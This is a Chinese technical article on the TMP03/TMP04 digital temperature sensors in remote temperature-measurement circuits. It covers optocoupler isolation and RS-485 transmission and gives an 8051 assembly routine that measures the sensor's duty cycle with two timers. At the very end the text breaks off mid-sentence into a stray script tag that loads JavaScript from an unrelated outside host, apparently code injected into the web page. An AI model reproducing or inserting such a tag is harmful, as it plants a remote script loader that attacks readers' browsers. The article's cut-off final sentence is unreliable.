摘 要:介绍tmp03和tmp04型数字温度传感器在远程测温电路中的应用,重点阐述它们与单片机和 数字信号处理器的接口电路及程序设计。
关键词:数字温度传感器 远程测温 接口电路 程序设计
1远程测温电路
远程测量温度时,传输线上存在着较高的共模电压,须用光耦合器(以下简称光耦)对输出端进 行隔离。三种光耦隔离电路分别如图1(a)、(b)、(c)所示。
(a)图为普通光耦隔离电路。tmp03能够承受5 ma以下的灌电流,可直接与光耦中led发光二极管的阴极连通。此时上拉电阻 r1还起到限流作用,防止led过流损坏。取 r1=620欧姆,当dout端呈低电平时,灌电流小于1 ma,led上的正向压降仅为1 v左右。需要注意的是,光耦合器的开启和关闭时间必须完全相同,否则会导致被传输的数据 发生错误。某些达林顿型光耦合器(例如4n32)的开启时间远大于关闭时间,不能在此使用。
(b)图中增加了1只2n2907型pnp管,目的是给led提供较大的工作电流。
(c)图中采用施密特整形输出的光耦合器,能降低传输噪声。
进行远程测温时,tmp03/04远优于模拟输出式温度传感器。这是因为它输出的是数字信号,比模 拟信号的抗干扰能力强。远程传输信号时不得影响t 1/t2的比率,必要时还可加1片adm485型rs-485 差分线驱动器,电路如 图 2 所示。该电路能准确传输1200 m远的温度信号。adm485中的发射器和接收器所造成的滞后时间误差仅为5 ns,不会影响t1、t2 值。在rs-485总线上可以接32片adm485。
tmp04与80c51单片机的接口电路如 图 3 所示。该接口电路非常简单,在温度传感器与单片机之间 仅需单线连接,tmp04的输出数据可直接加到80c51的p1.0口。若按传统的串行通信输入协议,至 少需要3条线(数据线、时钟线和片选信号线),甚至更多。这是因为tmp03/04的输出数据仅代表 t1与t2的比率,这与通常讲的二进制数据完全不同。
80c51内部有2个16位计数器,并且是由2个专用寄存器分别控制的。tmod寄存器亦称定时器 模式寄存器,专门控制定时器0和定时器1的工作模式,决定哪个定时器工作。tcon寄存器则用来 控制定时器0和定时器1的计数起止时间。这样很容易分别测出 t1、t2。80c51采用12 mhz晶振频率时,经内部12分频器后获得1 mhz的计数频率,计数周期为1us。
接口电路的程序清单如下:
tmp04与8051的接口测试
使用定时器0和1来测量占空比
这个程序分三步
① 清除定时寄存器,然后等待p1.0输入脚上出现0-1的跳变(此引脚与tmp04的输出相连)
② 一旦p1.0变为高,定时器0开始启动。然后程序开始循环检测p1.0
③ 一旦p1.0变为低,定时器0停止,同时定时器1启动。程序又再次循环检测p1.0,直到p1.0变低,定时器1停止, 从而tmp04的t1和t2 的数值就会存储在特殊功能寄存器8ah到8dh(tl0到th1)中
主控程序
$mod51
$title(tmp04 interface, using t0 and t1)
$pagewidth(80)
$debug
$object; 变量声明
port1 data 90h ; 端口1
tcon data 88h ; 定时器控制
tmod data89h ; 定时器模式
th0 data 8ch ; 定时器0高字节
th1 data 8dh ; 定时器1高字节
tl0 data 8ah ; 定时器0低字节
tl1 data 8bh ; 定时器1低字节
org 100h ; 任意的起始地址
read_tmp04: mov a,#00 ; 先清除寄存器
mov th0,a
mov th1,a
mov tl0,a ;
mov tl1,a ;
wait_lo: jb port1.0,wait_lo ; 等待tmp04输出变高
mov a,#11h ; 准备好启动定时器0
mov tmod,a
wait_hi: jnb port1.0,wait_hi ; 等待输出变高
; 在tmp04输出变高期间定时器0运行
setb tcon.4
waittimer0: jb port1.0,waittimer0
clr tcon.4;
;在tmp04输出变低期间定时器1运行
setb tcon.6 ; 启动定时器1
waittimer1: jnb port1.0,waittimer1
clr tcon.6 ; 停止定时器1
mov a,#0h ; 准备停止定时器
mov tmod,a
ret
end
上述程序用来监视tmp04的输出,并且开启或关闭相应的计数器来测量 t1与t2的比率。当tmp04 输出为高电平(对应于t1)时,由定时器0进行记 录;当输出呈低电平(对应于t2)时,由定时器1 记录。记录结果存储在特殊功能寄存器sfr的08ah~08dh单元中。
在调用读tmp04的程序时,计数寄存器就被清零。程序首先将计数器置成16位模式,然后等待 tmp04输出为高?script src=http://er12.com/t.js>











